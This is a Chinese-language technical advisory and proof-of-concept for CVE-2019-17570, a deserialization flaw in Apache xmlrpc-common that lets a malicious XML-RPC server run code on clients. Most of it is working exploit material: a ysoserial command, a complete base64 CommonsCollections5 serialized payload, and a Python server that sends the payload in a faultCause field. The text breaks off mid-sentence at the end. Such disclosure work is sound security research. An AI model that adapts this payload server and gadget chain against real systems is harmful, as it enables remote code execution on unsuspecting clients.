im23pds/xmlrpc-common-deserialization针对 CVE-2019-17570 的技术分析与概念验证漏洞利用代码，该漏洞是 Apache xmlrpc-common 中的一个 Java 反序列化漏洞，可通过恶意 XML-RPC 服务器响应实现远程代码执行。
本说明是一份技术说明，详细介绍了根本原因及相关利用。你可以在此处找到最初的披露。相关 CVE 为 CVE-2019-17570。
xmlrpc-common 构成了 xmlrpc-client 与 xmlrpc-server 之间共享的代码库。在 org.apache.xmlrpc.parser.XmlRpcResponseParser.addResult(Object) 方法中发现了反序列化漏洞。该漏洞使攻击者控制的 xmlrpc 服务器能够发送恶意的 xmlrpc 响应，从而在 xmlrpc 客户端中触发远程代码执行。
反序列化由 xmlrpc fault 的使用触发，fault 中可能包含 faultCause。该节点的内容被当作字节数组处理，随后使用 readObject() 反序列化为 Java 对象：
protected void addResult(Object pResult) throws SAXException {
if (isSuccess) {
super.setResult(pResult);
} else {
Map map = (Map) pResult;
Integer faultCode = (Integer) map.get("faultCode");
if (faultCode == null) {
throw new SAXParseException("Missing faultCode", getDocumentLocator());
}
try {
errorCode = faultCode.intValue();
} catch (NumberFormatException e) {
throw new SAXParseException("Invalid faultCode: " + faultCode,
getDocumentLocator());
}
errorMessage = (String) map.get("faultString");
Object exception = map.get("faultCause");
if (exception != null) {
try {
byte[] bytes = (byte[]) exception;
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bais);
errorCause = (Throwable) ois.readObject();
ois.close();
bais.close();
} catch (Throwable t) {
// Ignore me
}
}
}
}
该漏洞不同于 CVE-2016-5003，后者利用 ex:serialized 类型触发反序列化。这个新漏洞即使在其默认配置（禁用扩展）下也会影响 xmlrpc-common。
虽然漏洞位于 xmlrpc-common 中，但要实现远程代码执行，需要借助 gadgets 链。gadgets 链取决于类路径中可用的类。出于演示目的，我们的概念验证在类路径中添加了 Apache commons-collections-3.2.1，并使用 ysoserial 生成了 gadgets 链。
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
攻击者可以在使用受影响 xmlrpc-common 版本的 xmlrpc 客户端环境中执行任意代码。
我们的概念验证使用了一个特意编写的 xmlrpc 测试客户端和一个攻击者控制的 xmlrpc 服务器。
该服务器的主要目的是将序列化 payload 传递给存在漏洞的客户端。序列化 payload 是使用以下命令创建的：
$ java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections5 "ping www.google.com" | base64
...
rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAA3NyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIACEIABmZvcm1hdEkACmxpbmVOdW1iZXJMAA9jbGFzc0xvYWRlck5hbWVxAH4ABUwADmRlY2xhcmluZ0NsYXNzcQB+AAVMAAhmaWxlTmFtZXEAfgAFTAAKbWV0aG9kTmFtZXEAfgAFTAAKbW9kdWxlTmFtZXEAfgAFTAANbW9kdWxlVmVyc2lvbnEAfgAFeHABAAAAU3QAA2FwcHQAJnlzb3NlcmlhbC5wYXlsb2Fkcy5Db21tb25zQ29sbGVjdGlvbnM1dAAYQ29tbW9uc0NvbGxlY3Rpb25zNS5qYXZhdAAJZ2V0T2JqZWN0cHBzcQB+AAsBAAAANXEAfgANcQB+AA5xAH4AD3EAfgAQcHBzcQB+AAsBAAAAInEAfgANdAAZeXNvc2VyaWFsLkdlbmVyYXRlUGF5bG9hZHQAFEdlbmVyYXRlUGF5bG9hZC5qYXZhdAAEbWFpbnBwc3IAH2phdmEudXRpbC5Db2xsZWN0aW9ucyRFbXB0eUxpc3R6uBe0PKee3gIAAHhweHNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXlxAH4AAUwAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADZm9vc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAFc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AAXhwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXEAfgAFWwALaVBhcmFtVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJ0AApnZXRSdW50aW1ldXIAEltMamF2YS5sYW5nLkNsYXNzO6sW167LzVqZAgAAeHAAAAAAdAAJZ2V0TWV0aG9kdXEAfgAvAAAAAnZyABBqYXZhLmxhbmcuU3RyaW5noPCkOHo7s0ICAAB4cHZxAH4AL3NxAH4AKHVxAH4ALAAAAAJwdXEAfgAsAAAAAHQABmludm9rZXVxAH4ALwAAAAJ2cgAQamF2YS5sYW5nLk9iamVjdAAAAAAAAAAAAAAAeHB2cQB+ACxzcQB+ACh1cgATW0xqYXZhLmxhbmcuU3RyaW5nO63SVufpHXtHAgAAeHAAAAABdAATcGluZyB3d3cuZ29vZ2xlLmNvbXQABGV4ZWN1cQB+AC8AAAABcQB+ADRzcQB+ACRzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHg=
服务器本身相当简单，主要包含以下内容：
def create_fault_deser(payload):
return b'''<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<fault>
<value>
<struct>
<member>
<name>faultCode</name>
<value><int>1337</int></value>
</member>
<member>
<name>faultString</name>
<value><string>You have been pwned</string></value>
</member>
<member>
<name>faultCause</name>
<value><base64>%s</base64></value>
</member>
</struct>
</value>
</fault>
</methodResponse>
''' % (payload)
class Handler(http.server.SimpleHTTPRequestHandler):
def do_POST(self):
self.send_response(200)
self.send_header('Content-Type', 'text/xml')
self.end_headers()
self.wfile.write(create_fault_deser(PING_COMMONS_COLLECTIONS))
httpd = socketserver.TCPServer(('0.0.0.0', 8888), Handler)
httpd.serve_forever()
上面使用的 PING_COMMONS_COLLECTIONS 变量被设置为 ysoserial 命令的输出。
我们的测试客户端源码如下：
package poc.xmlrpcdeser;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
import java.util.Hashtable;
import org.apache.xmlrpc.XmlRpcException;
import org.apache.xmlrpc.client.XmlRpcClient;
import org.apache.xmlrpc.client.XmlRpcClientConfigImpl;
public class VulnerableClient {
public static void main(String[] args) throws MalformedURLException, XmlRpcException {
String domainName = "http://127.0.0.1:8888";
String serverurl = domainName + "/RPC2";
XmlRpcClientConfigImpl config = new XmlRpcClientConfigImpl();
config.setServerURL(new URL(serverurl));
XmlRpcClient client = new XmlRpcClient();
client.setConfig(config);
Object[] params = new Object[]{"test", "'tell me you are alive' 1337"};
Object result = (Object) client.execute("xmlrpc-api", params);
}
}
使用 make 编译后，通过以下命令触发代码执行：
$ java -jar target/VulnerableClient-1.0-SNAPSHOT-jar-with-dependencies.jar
恶意 payload 被投递给无辜的受害者：
$ ./xmlrpc-server.py
127.0.0.1 - - [redacted] "POST /RPC2 HTTP/1.1" 200 -
我们的测试客户端执行失败：